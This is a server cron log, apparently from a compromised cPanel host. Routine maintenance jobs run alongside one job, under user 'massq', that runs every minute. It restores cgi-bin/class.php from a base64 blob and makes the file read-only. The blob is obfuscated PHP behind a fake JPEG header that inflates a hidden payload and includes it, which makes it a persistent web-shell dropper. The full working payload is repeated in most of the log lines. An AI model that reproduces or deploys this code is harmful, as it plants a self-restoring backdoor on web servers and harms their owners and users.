Sep  3 14:40:01 server CROND[25371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:41:01 server CROND[26183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:41:01 server CROND[26184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:41:01 server CROND[26185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:42:01 server CROND[26557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:42:01 server CROND[26558]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 14:42:01 server CROND[26560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:42:01 server CROND[26559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:43:01 server CROND[27030]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:43:01 server CROND[27031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:43:01 server CROND[27032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:44:01 server CROND[27402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:44:01 server CROND[27403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:44:01 server CROND[27404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:45:01 server CROND[27791]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 14:45:01 server CROND[27793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:45:01 server CROND[27795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:45:01 server CROND[27798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:45:01 server CROND[27796]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 14:45:01 server CROND[27794]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:45:01 server CROND[27801]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:46:01 server CROND[28612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:46:01 server CROND[28613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:46:01 server CROND[28614]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:47:01 server CROND[28981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:47:01 server CROND[28982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:47:01 server CROND[28984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:48:01 server CROND[29452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:48:01 server CROND[29453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:48:01 server CROND[29454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:49:01 server CROND[29843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:49:01 server CROND[29844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:49:01 server CROND[29845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:50:01 server CROND[30234]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 14:50:01 server CROND[30235]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:50:01 server CROND[30236]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 14:50:01 server CROND[30245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:50:01 server CROND[30246]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:50:01 server CROND[30248]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 14:50:01 server CROND[30250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:50:01 server CROND[30253]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 14:50:01 server CROND[30247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:51:01 server CROND[31060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:51:01 server CROND[31061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:51:01 server CROND[31062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:52:01 server CROND[31442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:52:01 server CROND[31444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:52:01 server CROND[31443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:53:01 server CROND[31817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
